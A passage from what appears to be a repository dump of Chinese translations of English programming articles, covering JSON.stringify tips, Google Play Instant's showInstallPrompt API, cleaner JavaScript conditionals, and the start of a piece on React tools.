Object]**`，**因为从对象到字符串的默认转换是 `[object Object]`**。因此，我们使用 `JSON.stringify()` 首先将对象转换成字符串，然后在控制台中打印，如下所示。\n\n```js\nconst user = {\n \"name\" : \"Prateek Singh\",\n \"age\" : 26\n}\n\nconsole.log(JSON.stringify(user));\n\n// 结果\n// \"{ \"name\" : \"Prateek Singh\", \"age\" : 26 }\"\n```\n\n---\n\n一般来说，开发人员使用 `stringify` 函数的场景较为普遍，就像我们在上面做的那样。但我要告诉你一些隐藏的秘密，这些小秘密会让你开发起来更加轻松。\n\n## 1: 第二个参数（数组）\n\n是的，`stringify` 函数也可以有第二个参数。它是要在控制台中打印的对象的键数组。看起来很简单？让我们更深入一点。我们有一个对象 **product** 并且我们想知道 product 的 name 属性值。当我们将其打印出来：\n console.log(JSON.stringify(product)); \n它会输出下面的结果。\n\n```js\n{\"id\":\"0001\",\"type\":\"donut\",\"name\":\"Cake\",\"ppu\":0.55,\"batters\":{\"batter\":[{\"id\":\"1001\",\"type\":\"Regular\"},{\"id\":\"1002\",\"type\":\"Chocolate\"},{\"id\":\"1003\",\"type\":\"Blueberry\"},{\"id\":\"1004\",\"type\":\"Devil’s Food\"}]},\"topping\":[{\"id\":\"5001\",\"type\":\"None\"},{\"id\":\"5002\",\"type\":\"Glazed\"},{\"id\":\"5005\",\"type\":\"Sugar\"},{\"id\":\"5007\",\"type\":\"Powdered Sugar\"},{\"id\":\"5006\",\"type\":\"Chocolate with Sprinkles\"},{\"id\":\"5003\",\"type\":\"Chocolate\"},{\"id\":\"5004\",\"type\":\"Maple\"}]}\n```\n\n在日志中很难找到 **name** 键，因为控制台上显示了很多没用的信息。当对象变大时，查找属性的难度增加。\nstringify 函数的第二个参数这时就有用了。让我们重写代码并查看结果。\n\n```js\nconsole.log(JSON.stringify(product,['name' ]);\n\n// 结果\n{\"name\" : \"Cake\"}\n```\n\n问题解决了，与打印整个 JSON 对象不同，我们可以在第二个参数中将所需的键作为数组传递，从而只打印所需的属性。\n\n## 2: 第二个参数（函数）\n\n我们还可以传入函数作为第二个参数。它根据函数中写入的逻辑来计算每个键值对。如果返回 `undefined`，则不会打印键值对。请参考示例以获得更好的理解。\n\n```js\nconst user = {\n \"name\" : \"Prateek Singh\",\n \"age\" : 26\n}\n```\n\n![Passing function as 2nd argument](https://cdn-images-1.medium.com/max/2000/1*V3EQcCdgRLDish8PkY0s5A.png)\n\n```js\n// 结果\n{ \"age\" : 26 }\n```\n\n只有 `age` 被打印出来，因为函数判断 `typeOf` 为 String 的值返回 `undefined`。\n\n## 3: 第三个参数为数字\n\n第三个参数控制最后一个字符串的间距。如果参数是一个**数字**，则字符串化中的每个级别都将缩进这个数量的空格字符。\n\n```js\n// 注意：为了达到理解的目的，使用 '--' 替代了空格\n\nJSON.stringify(user, null, 2);\n//{\n//--\"name\": \"Prateek Singh\",\n//--\"age\": 26,\n//--\"country\": \"India\"\n//}\n```\n\n## 4: 第三个参数为字符串\n\n如果第三个参数是 **string**，那么将使用它来代替上面显示的空格字符。\n\n```js\nJSON.stringify(user, null,'**');\n//{\n//**\"name\": \"Prateek Singh\",\n//**\"age\": 26,\n//**\"country\": \"India\"\n//}\n// 这里 * 取代了空格字符\n```\n\n## 5: toJSON 方法\n\n我们有一个叫 `toJSON` 的方法，它可以作为任意对象的属性。`JSON.stringify` 返回这个函数的结果并对其进行序列化，而不是将整个对象转换为字符串。参考下面的例子。\n\n```js\nconst user = {\n firstName : \"Prateek\",\n lastName : \"Singh\",\n age : 26,\n toJSON() {\n    return { \n      fullName: `${this.firstName} + ${this.lastName}`\n    };\n }\n}\n\nconsole.log(JSON.stringify(user));\n\n// 结果\n// \"{ \"fullName\" : \"Prateek Singh\"}\"\n```\n\n这里我们可以看到，它只打印 `toJSON` 函数的结果，而不是打印整个对象。\n\n我希望你能学到 `stringify()` 的一些基本特征。\n\n如果你觉得这篇文章有用，请点赞，然后跟我读更多类似的精彩文章。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/5-tips-for-using-showinstallprompt-in-your-instant-experience.md",
    "content": "> * 原文地址：[5 tips for using showInstallPrompt in your instant experience](https://medium.com/androiddevelopers/5-tips-for-using-showinstallprompt-in-your-instant-experience-99d4681e0ae)\n> * 原文作者：[Miguel Montemayor](https://medium.com/@migmontemayor)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/5-tips-for-using-showinstallprompt-in-your-instant-experience.md](https://github.com/xitu/gold-miner/blob/master/TODO1/5-tips-for-using-showinstallprompt-in-your-instant-experience.md)\n> * 译者：[Fxymine4ever](https://github.com/Fxy4ever)\n> * 校对者：[jacksonke](https://github.com/jacksonke)\n\n# 在你的 Instant 体验中使用 showInstallPrompt 的 5 个技巧 \n\n![](https://cdn-images-1.medium.com/max/3200/0*5eAOuRUKrRBXEJdI)\n\n[Google Play Instant](https://developer.android.com/topic/google-play-instant) 允许用户在安装前就可以试用你的应用或者游戏。无论是否从 Play Store 还是网址发布，Instant 都可以让你的用户直接拥有原生应用的体验。\n\n你的 Instant 体验其中一个目标可能是利用你的应用程序的 Instant 体验来促进安装。通过保证正确使用最近的 API 和最佳的实践，你可以更轻松地实现这个目标。\n\n当用户决定去安装你的应用程序或游戏时，[showInstallPrompt API](https://developers.google.com/android/reference/com/google/android/gms/instantapps/InstantApps.html#showInstallPrompt(android.app.Activity,%20android.content.Intent,%20int,%20java.lang.String)) 允许你在 Instant 体验中提示用户是否进行安装。在调用这个 API 后，一个应用内提示会出现在你的应用程序中。一旦用户同意去安装，该应用的安装程序会开始安装。当安装完成时，刚才安装的应用程序会自动启动。\n\n![**This animation shows the installation flow when using showInstallPrompt**](https://cdn-images-1.medium.com/max/2000/0*HaJS3sMgtdYB_TxA)\n\n在你的 Instant 体验中使用 showInstallPrompt 时，下面详细介绍了最佳的实践，这可以让你的用户丝滑地从 Instant 过渡到已安装的 App。\n\n## 1、确保你使用最近的 showInstallPrompt API\n\n2018年6月更新后的 [showInstallPrompt API](https://developers.google.com/android/reference/com/google/android/gms/instantapps/InstantApps.html#showInstallPrompt(android.app.Activity,%20android.content.Intent,%20int,%20java.lang.String)) 与旧的 API 相比，前者有几个关键的优点。新的 API 可以显示一个更小的安装提示，同时也可以通过添加额外的 postInstallIntent 参数，来优化从 Instant 到已安装 App 的过渡，这个参数可以指定安装后启动的 Activity。\n\n> 在你的 Instant 体验中确认 showInstallPrompt 的版本。\n\n以前，旧版本的 API 会启动一个更大的应用内安装提示。由于旧版 showInstallPrompt 已经弃用，现在调用这个 API 会启动你的 Play Store 列表。为了恢复应用内安装提示，你需要迁移到新的 API。\n\n如果你不确定你的 Instant 体验是否调用这个旧的 API，你可以通过运行你的 Instant App 并且选取安装按钮来快速确认。如果你跳转到了 Play Store 列表，这说明你正在使用旧的 API。如果你看见一个应用内的覆盖，这说明你正在使用最新的 API。\n\n此外，你还可以检查你的代码是否调用了包含 postInstallIntent 参数的 API。如果没有包含 postInstallIntent，这说明你正在使用旧的 API。下面是新的 showInstallPrompt API 的方法签名：\n\n```\npublic static boolean showInstallPrompt (Activity activity, Intent postInstallIntent, int requestCode, String referrer)\n```\n\n`postInstallIntent` 是在应用安装之后触发的 Intent。这个 Intent 必须是能被解析为已安装应用中的 Activity，否则它将无效。\n\n> 迁移到新版的 showInstallPrompt\n\n迁移到新版的 showInstallPrompt API，应该遵循下面几个步骤：\n\n1、确保你的项目中使用的是最新版的 Instant App 客户端的库。在你的 build.gradle 中更新如下的依赖：\n\n```\nimplementation 'com.google.android.gms:play-services-instantapps:16.0.1'\n```\n\n2、更新你的代码，将旧版 API 转换为带有 postInstallIntent 参数的新版 [showInstallPrompt API](https://developers.google.com/android/reference/com/google/android/gms/instantapps/InstantApps.html#showInstallPrompt(android.app.Activity,%20android.content.Intent,%20int,%20java.lang.String))。\n\n3、上传你的 Instant App 到 [内部跟踪测试](https://support.google.com/googleplay/android-developer/answer/3131213?hl=en)，以验证安装按钮现在是否启动了一个应用内安装覆盖提示。\n\n你同样可以查看这个使用了新版 showInstallPrompt API 的 [示例应用程序](https://github.com/googlesamples/android-instant-apps/tree/master/install-api)，以了解它是怎么工作的。\n\n## 2、在你的 Instant\u0001 游戏中预注册\n\nshowInstallPrompt API 不仅仅是为了安装！如果你的 Instant 游戏支持 [预注册](https://support.google.com/googleplay/android-developer/answer/9084187)，你可以使用相同的 API 提示进行预注册。\n\n当你的应用调用 showInstallPrompt 时，预注册的行为和安装期间的行为相似。应用内的覆盖区域也会出现预注册的用户。用户之后可以继续从 Instant 游戏里的进度玩起。此外，预注册的用户将在游戏发布的时候收到通知。\n\n要启动预注册的流程，你可以调用 showInstallPrompt API，就像之前的提示安装一样。\n\n```\n// 提示预注册\nInstantApps.showInstallPrompt(activity, postInstallIntent, requestId, referrerId)\n```\n\n注意， `postInstallIntent` 参数在预注册完成之后将被忽视。\n\n## 3、转变用户的状态到已安装的应用程序\n\n将用户的状态从 Instant 体验转变到已安装的应用程序。用户应该能选择是否从之前 Instant 体验里中断的地方开始。任何在 Instant 体验中取得的成就或者进度都应该延续到已安装的应用或游戏中。\n\n![](https://cdn-images-1.medium.com/max/2000/0*r7DBqy2P92QFwOPf)\n\n保护用户数据，我们推荐你使用 [Cookie API](https://developers.google.com/android/reference/com/google/android/gms/instantapps/PackageManagerCompat#getInstantAppCookie()) 在安装之后迁移试玩的数据。Cookie API 会允许你在设备上存储一小部分信息的 token，这个 token 能被你的可安装的应用程序访问。这个 API 会确保只有当应用程序的 Package ID 与你的 Instant App 相同时，才能访问该 Cookie。\n\n在你的 Instant App 中，你应该一直使用 [PackageManagerCompat](https://developers.google.com/android/reference/com/google/android/gms/instantapps/PackageManagerCompat.html#setInstantAppCookie(byte[])) 存储 Cookie 数据。\n\n```Kotlin\n// Cookie 数据是一个简单的 byte 数组。\nval cookieData: ByteArray = byteArrayOf()\n\n// 使用 PackageManagerCompat 去访问 Cookie API。\nval packageManager = InstantApps.getPackageManagerCompat(applicationContext)\n\n// 在设置值之前，确保cookie数据可以适合存储。\nif (cookieData.length <= packageManager.getInstantAppCookieMaxSize()) {\n   packageManager.setInstantAppCookie(cookieData)\n}\n```\n\n在用户安装了这个应用程序之后，你可以访问这个数据。\n\n```Kotlin\n// 使用 PackageManagerCompat 去访问 Cookie API。\nval packageManager = InstantApps.getPackageManagerCompat(this)\nval cookieData = packageManager.getInstantAppCookie()\n\n// 在读取了这个 Cookie 数据之后清除它\npackageManager.setInstantAppCookie(null)\n```\n\n## 4、不要干扰任务的完成\n\n在打开 Instant 体验时，在完成他们想要完成的任务时，用户不应该被中断。当用户在部分完成他们的任务的时候，避免安装你的应用程序。\n\n如果用户已经完成他们的任务之后，或者想要去使用一个在你的 Instant App 中无法使用的额外的功能时，你可以调用 showInstallPrompt API。\n\n![](https://cdn-images-1.medium.com/max/2000/1*uovyCegQYpdiurkTpTL5lQ.png)\n\n例如，如果你想通过在线产品广告来引导用户获得 Instant 体验，你的 Instant App 应该允许你的用户完成结账流程。在购买完成之后，你可以提示安装。避免要求用户在购买完成之前进行安装或者注册。\n\n## 5、提供明确的安装提示\n\n虽然最后一个提示的意思很容易理解，但是请确保你的 Instant 体验有一个明确的安装提示。如果没有这些提示，用户可能会疑惑怎样去安装你的应用，或者可能不得不跳转到 Play Store 去安装。\n\n安装按钮应该调用 showInstallPrompt 去触发安装提示。\n\n![](https://cdn-images-1.medium.com/max/2000/1*nKfEwwU4dVp08ZUndHvuIA.png)\n\n使用 [Material Design “获取” 图标](https://material.io/icons/#ic_get_app)，同时在安装按钮上显示“安装”或预注册按钮上显示“预注册”。\n\n不要使用任何其他的标签，例如“获取这个应用”、“安装完整应用”或者“升级”。同时也不要使用轮播图或者其他像广告的技术去向用户展示安装提示。\n\n***\n\n如果你在你的应用或者游戏中使用 showInstallPrompt API 遇到了额外的问题，你可以发送你的问题到 [StackOverflow](https://stackoverflow.com/questions/tagged/android-instant-apps)。了解更多关于 [Google Play Instant](https://developer.android.com/topic/google-play-instant) 同时看看我们其他的 [用户体验最佳实践](https://developer.android.com/topic/google-play-instant/best-practices/apps)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/5-tips-to-write-better-conditionals-in-javascript.md",
    "content": "> * 原文地址：[5 Tips to Write Better Conditionals in JavaScript](https://scotch.io/tutorials/5-tips-to-write-better-conditionals-in-javascript)\n> * 原文作者：[Jecelyn Yeen](https://scotch.io/@jecelyn)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/5-tips-to-write-better-conditionals-in-javascript.md](https://github.com/xitu/gold-miner/blob/master/TODO1/5-tips-to-write-better-conditionals-in-javascript.md)\n> * 译者：[Hopsken](https://blog.hopsken.com)\n> * 校对者：[ThomasWhyne](https://github.com/ThomasWhyne) [Park-ma](https://github.com/Park-ma)\n\n# 五个小技巧让你写出更好的 JavaScript 条件语句\n\n![](https://scotch-res.cloudinary.com/image/upload/dpr_1,w_1050,q_auto:good,f_auto/v1536994013/udpahiv8rqlemvz0x3wc.png)\n\n在使用 JavaScript 时，我们常常要写不少的条件语句。这里有五个小技巧，可以让你写出更干净、漂亮的条件语句。\n\n## 1. 使用 Array.includes 来处理多重条件\n\n举个栗子 🌰：\n\n```javascript\n// 条件语句\nfunction test(fruit) {\n  if (fruit == 'apple' || fruit == 'strawberry') {\n    console.log('red');\n  }\n}\n```\n\n乍一看，这么写似乎没什么大问题。然而，如果我们想要匹配更多的红色水果呢，比方说『樱桃』和『蔓越莓』？我们是不是得用更多的 `||` 来扩展这条语句？\n\n我们可以使用 `Array.includes`[(Array.includes)](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/includes) 重写以上条件句。\n\n```javascript\nfunction test(fruit) {\n  // 把条件提取到数组中\n  const redFruits = ['apple', 'strawberry', 'cherry', 'cranberries'];\n\n  if (redFruits.includes(fruit)) {\n    console.log('red');\n  }\n}\n```\n\n我们把`红色的水果`（条件）都提取到一个数组中，这使得我们的代码看起来更加整洁。\n\n## 2. 少写嵌套，尽早返回\n\n让我们为之前的例子添加两个条件：\n\n*   如果没有提供水果，抛出错误。\n*   如果该水果的数量大于 10，将其打印出来。\n\n```javascript\nfunction test(fruit, quantity) {\n  const redFruits = ['apple', 'strawberry', 'cherry', 'cranberries'];\n\n  // 条件 1：fruit 必须有值\n  if (fruit) {\n    // 条件 2：必须为红色\n    if (redFruits.includes(fruit)) {\n      console.log('red');\n\n      // 条件 3：必须是大量存在\n      if (quantity > 10) {\n        console.log('big quantity');\n      }\n    }\n  } else {\n    throw new Error('No fruit!');\n  }\n}\n\n// 测试结果\ntest(null); // 报错：No fruits\ntest('apple'); // 打印：red\ntest('apple', 20); // 打印：red，big quantity\n```\n\n让我们来仔细看看上面的代码，我们有：\n*   1 个 if/else 语句来筛选无效的条件\n*   3 层 if 语句嵌套（条件 1，2 & 3）\n\n就我个人而言，我遵循的一个总的规则是**当发现无效条件时尽早返回**。\n\n```javascript\n/_ 当发现无效条件时尽早返回 _/\n\nfunction test(fruit, quantity) {\n  const redFruits = ['apple', 'strawberry', 'cherry', 'cranberries'];\n\n  // 条件 1：尽早抛出错误\n  if (!fruit) throw new Error('No fruit!');\n\n  // 条件2：必须为红色\n  if (redFruits.includes(fruit)) {\n    console.log('red');\n\n    // 条件 3：必须是大量存在\n    if (quantity > 10) {\n      console.log('big quantity');\n    }\n  }\n}\n```\n\n如此一来，我们就少写了一层嵌套。这是种很好的代码风格，尤其是在 if 语句很长的时候（试想一下，你得滚动到底部才能知道那儿还有个 else 语句，是不是有点不爽）。\n\n如果反转一下条件，我们还可以进一步地减少嵌套层级。注意观察下面的条件 2 语句，看看是如何做到这点的：\n```javascript\n/_ 当发现无效条件时尽早返回 _/\n\nfunction test(fruit, quantity) {\n  const redFruits = ['apple', 'strawberry', 'cherry', 'cranberries'];\n\n  if (!fruit) throw new Error('No fruit!'); // 条件 1：尽早抛出错误\n  if (!redFruits.includes(fruit)) return; // 条件 2：当 fruit 不是红色的时候，直接返回\n\n  console.log('red');\n\n  // 条件 3：必须是大量存在\n  if (quantity > 10) {\n    console.log('big quantity');\n  }\n}\n```\n\n通过反转条件 2 的条件，现在我们的代码已经没有嵌套了。当我们代码的逻辑链很长，并且希望当某个条件不满足时不再执行之后流程时，这个技巧会很好用。\n\n然而，并没有任何**硬性规则**要求你这么做。这取决于你自己，对你而言，这个版本的代码（没有嵌套）是否要比之前那个版本（条件 2 有嵌套）的更好、可读性更强？\n\n是我的话，我会选择前一个版本（条件 2 有嵌套）。原因在于：\n\n*   这样的代码比较简短和直白，一个嵌套的 if 使得结构更加清晰。\n*   条件反转会导致更多的思考过程（增加认知负担）。\n\n因此，**始终追求更少的嵌套，更早地返回，但是不要过度**。感兴趣的话，这里有篇关于这个问题的文章以及 StackOverflow 上的讨论：\n\n*   [Avoid Else, Return Early](http://blog.timoxley.com/post/47041269194/avoid-else-return-early) by Tim Oxley\n*   [StackOverflow discussion](https://softwareengineering.stackexchange.com/questions/18454/should-i-return-from-a-function-early-or-use-an-if-statement) on if/else coding style\n\n## 3. 使用函数默认参数和解构\n\n我猜你也许很熟悉以下的代码，在 JavaScript 中我们经常需要检查 `null` / `undefined` 并赋予默认值：\n\n```javascript\nfunction test(fruit, quantity) {\n  if (!fruit) return;\n  const q = quantity || 1; // 如果没有提供 quantity，默认为 1\n\n  console.log(`We have ${q} ${fruit}!`);\n}\n\n//测试结果\ntest('banana'); // We have 1 banana!\ntest('apple', 2); // We have 2 apple!\n```\n\n事实上，我们可以通过函数的默认参数来去掉变量 `q`。\n\n```javascript\nfunction test(fruit, quantity = 1) { // 如果没有提供 quantity，默认为 1\n  if (!fruit) return;\n  console.log(`We have ${quantity} ${fruit}!`);\n}\n\n//测试结果\ntest('banana'); // We have 1 banana!\ntest('apple', 2); // We have 2 apple!\n```\n\n是不是更加简单、直白了？请注意，所有的函数参数都可以有其[默认值](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters)。举例来说，我们同样可以为 `fruit` 赋予一个默认值：`function test(fruit = 'unknown', quantity = 1)`。\n\n那么如果 `fruit` 是一个对象（Object）呢？我们还可以使用默认参数吗？\n\n```javascript\nfunction test(fruit) { \n  // 如果有值，则打印出来\n  if (fruit && fruit.name)  {\n    console.log (fruit.name);\n  } else {\n    console.log('unknown');\n  }\n}\n\n//测试结果\ntest(undefined); // unknown\ntest({ }); // unknown\ntest({ name: 'apple', color: 'red' }); // apple\n```\n\n观察上面的例子，当水果名称属性存在时，我们希望将其打印出来，否则打印『unknown』。我们可以通过默认参数和解构赋值的方法来避免写出 `fruit && fruit.name` 这种条件。\n\n```javascript\n// 解构 —— 只得到 name 属性\n// 默认参数为空对象 {}\nfunction test({name} = {}) {\n  console.log (name || 'unknown');\n}\n\n//测试结果\ntest(undefined); // unknown\ntest({ }); // unknown\ntest({ name: 'apple', color: 'red' }); // apple\n```\n\n既然我们只需要 fruit 的 `name` 属性，我们可以使用 `{name}` 来将其解构出来，之后我们就可以在代码中使用 `name` 变量来取代 `fruit.name`。\n\n我们还使用 `{}` 作为其默认值。如果我们不这么做的话，在执行 `test(undefined)` 时，你会得到一个错误 `Cannot destructure property name of 'undefined' or 'null'.`，因为 `undefined` 上并没有 `name` 属性。（译者注：这里不太准确，其实因为解构只适用于对象（Object），而不是因为`undefined` 上并没有 `name` 属性（空对象上也没有）。参考[解构赋值 - MDN](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment)）\n\n如果你不介意使用第三方库的话，有一些方法可以帮助减少空值（null）检查：\n\n*   使用 [Lodash get](https://lodash.com/docs/4.17.10#get) 函数\n*   使用 Facebook 开源的 [idx](https://github.com/facebookincubator/idx) 库（需搭配 Babeljs）\n\n这里有一个使用 Lodash 的例子：\n\n```javascript\n//  使用 lodash 库提供的 _ 方法\nfunction test(fruit) {\n  console.log(_.get(fruit, 'name', 'unknown'); // 获取属性 name 的值，如果没有，设为默认值 unknown\n}\n\n//测试结果\ntest(undefined); // unknown\ntest({ }); // unknown\ntest({ name: 'apple', color: 'red' }); // apple\n```\n\n你可以在[这里](http://jsbin.com/bopovajiye/edit?js,console)运行演示代码。另外，如果你偏爱函数式编程（FP），你可以选择使用 [Lodash fp](https://github.com/lodash/lodash/wiki/FP-Guide)——函数式版本的 Lodash（方法名变为 `get` 或 `getOr`）。\n\n## 4. 相较于 switch，Map / Object 也许是更好的选择\n\n让我们看下面的例子，我们想要根据颜色打印出各种水果：\n\n```javascript\nfunction test(color) {\n  // 使用 switch case 来找到对应颜色的水果\n  switch (color) {\n    case 'red':\n      return ['apple', 'strawberry'];\n    case 'yellow':\n      return ['banana', 'pineapple'];\n    case 'purple':\n      return ['grape', 'plum'];\n    default:\n      return [];\n  }\n}\n\n//测试结果\ntest(null); // []\ntest('yellow'); // ['banana', 'pineapple']\n```\n\n上面的代码看上去并没有错，但是就我个人而言，它看上去很冗长。同样的结果可以通过对象字面量来实现，语法也更加简洁：\n\n```javascript\n// 使用对象字面量来找到对应颜色的水果\n  const fruitColor = {\n    red: ['apple', 'strawberry'],\n    yellow: ['banana', 'pineapple'],\n    purple: ['grape', 'plum']\n  };\n\nfunction test(color) {\n  return fruitColor[color] || [];\n}\n```\n\n或者，你也可以使用 [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) 来实现同样的效果：\n\n```javascript\n// 使用 Map 来找到对应颜色的水果\n  const fruitColor = new Map()\n    .set('red', ['apple', 'strawberry'])\n    .set('yellow', ['banana', 'pineapple'])\n    .set('purple', ['grape', 'plum']);\n\nfunction test(color) {\n  return fruitColor.get(color) || [];\n}\n```\n\n[Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) 是 ES2015 引入的新的对象类型，允许你存放键值对。\n\n**那是不是说我们应该禁止使用 switch 语句？** 别把自己限制住。我自己会在任何可能的时候使用对象字面量，但是这并不是说我就不用 switch，这得视场景而定。\n\nTodd Motto 有一篇[文章](https://toddmotto.com/deprecating-the-switch-statement-for-object-literals/)深入讨论了 switch 语句和对象字面量，你也许会想看看。\n\n### 懒人版：重构语法\n\n就以上的例子，事实上我们可以通过重构我们的代码，使用 `Array.filter` 实现同样的效果。\n\n```javascript\n const fruits = [\n    { name: 'apple', color: 'red' }, \n    { name: 'strawberry', color: 'red' }, \n    { name: 'banana', color: 'yellow' }, \n    { name: 'pineapple', color: 'yellow' }, \n    { name: 'grape', color: 'purple' }, \n    { name: 'plum', color: 'purple' }\n];\n\nfunction test(color) {\n  // 使用 Array filter 来找到对应颜色的水果\n\n  return fruits.filter(f => f.color == color);\n}\n```\n\n解决问题的方法永远不只一种。对于这个例子我们展示了四种实现方法。Coding is fun！\n\n## 5. 使用 Array.every 和 Array.some 来处理全部/部分满足条件\n\n最后一个小技巧更多地是关于使用新的（也不是很新了）JavaScript 数组函数来减少代码行数。观察以下的代码，我们想要检查是否所有的水果都是红色的：\n\n```javascript\nconst fruits = [\n    { name: 'apple', color: 'red' },\n    { name: 'banana', color: 'yellow' },\n    { name: 'grape', color: 'purple' }\n  ];\n\nfunction test() {\n  let isAllRed = true;\n\n  // 条件：所有的水果都必须是红色\n  for (let f of fruits) {\n    if (!isAllRed) break;\n    isAllRed = (f.color == 'red');\n  }\n\n  console.log(isAllRed); // false\n}\n```\n\n这段代码也太长了！我们可以通过 `Array.every` 来缩减代码：\n\n```javascript\nconst fruits = [\n    { name: 'apple', color: 'red' },\n    { name: 'banana', color: 'yellow' },\n    { name: 'grape', color: 'purple' }\n  ];\n\nfunction test() {\n  // 条件：（简短形式）所有的水果都必须是红色\n  const isAllRed = fruits.every(f => f.color == 'red');\n\n  console.log(isAllRed); // false\n}\n```\n\n清晰多了对吧？类似的，如果我们想要检查是否有至少一个水果是红色的，我们可以使用 `Array.some` 仅用一行代码就实现出来。\n\n```javascript\nconst fruits = [\n    { name: 'apple', color: 'red' },\n    { name: 'banana', color: 'yellow' },\n    { name: 'grape', color: 'purple' }\n];\n\nfunction test() {\n  // 条件：至少一个水果是红色的\n  const isAnyRed = fruits.some(f => f.color == 'red');\n\n  console.log(isAnyRed); // true\n}\n```\n\n## 总结\n\n让我们一起写出可读性更高的代码吧。希望这篇文章能给你们带来一些帮助。\n\n就是这样啦。Happy coding！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/5-tools-for-faster-development-in-react.md",
    "content": "> * 原文地址：[5 Tools for Faster Development in React](https://blog.bitsrc.io/5-tools-for-faster-development-in-react-676f134050f2)\n> * 原文作者：[Jonathan Saring](https://blog.bitsrc.io/@JonathanSaring?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/5-tools-for-faster-development-in-react.md](https://github.com/xitu/gold-miner/blob/master/TODO1/5-tools-for-faster-development-in-react.md)\n> * 译者：[Ivocin](https://github.com/Ivocin)\n> * 校对者：[Haoze Xu](https://github.com/ElizurHz), [Junkai Liu](https://github.com/Moonliujk)\n\n# 5 款工具助力 React 快速开发\n\n**本文将会介绍 5 款工具，可加速 React UI 组件和应用程序的开发工作。**\n\nReact 非常适合快速开发具有出色的交互式 UI 的应用程序。React 组件是创建用于开发不同应用的隔离的、可复用的模块的很棒的方法。。\n\n虽然一些[最佳实践](https://blog.bitsrc.io/how-to-write-better-code-in-react-best-practices-b8ca87d462b0)有助于开发更好的应用程序，但正确的工具可以使开发过程更快。以下是 5（+）个实用的工具，可以帮助我们加速组件和应用程序的开发。\n\n欢迎你发表评论并提出建议。\n\n### 1. [Bit](https://bitsrc.io)\n\n- [**Bit — 分享和构建组件代码**：Bit 帮助你在不同的项目和应用程序中共享、发现和使用代码组件，以构建新功能和...](https://bitsrc.io \"https://bitsrc.io\")\n\n[Bit](https://bitsrc.io) 是一个开源平台，用于使用组件构建应用程序。\n\n使用 Bit，你可以组织来自不同应用程序和项目的组件（无需任何重构），并使其可以在构建新功能和应用程序时被发现、使用、开发和协作。\n\n- YouTube 视频链接：https://youtu.be/P4Mk_hqR8dU\n\nBit 上共享的组件可自动地通过 NPM/Yarn 安装，或与 Bit 本身一起使用。后者使你能够同时开发来自不同项目的组件，并轻松更新（并合并）它们之间的更改。\n\n![](https://cdn-images-1.medium.com/max/1000/1*1aWFQBNr5aEQ1OnquZrIxw.png)\n\n为了使组件更容易被发现，Bit 为组件提供了[可视化渲染](https://blog.bitsrc.io/introducing-the-live-react-component-playground-d8c281352ee7)，测试结果（Bit 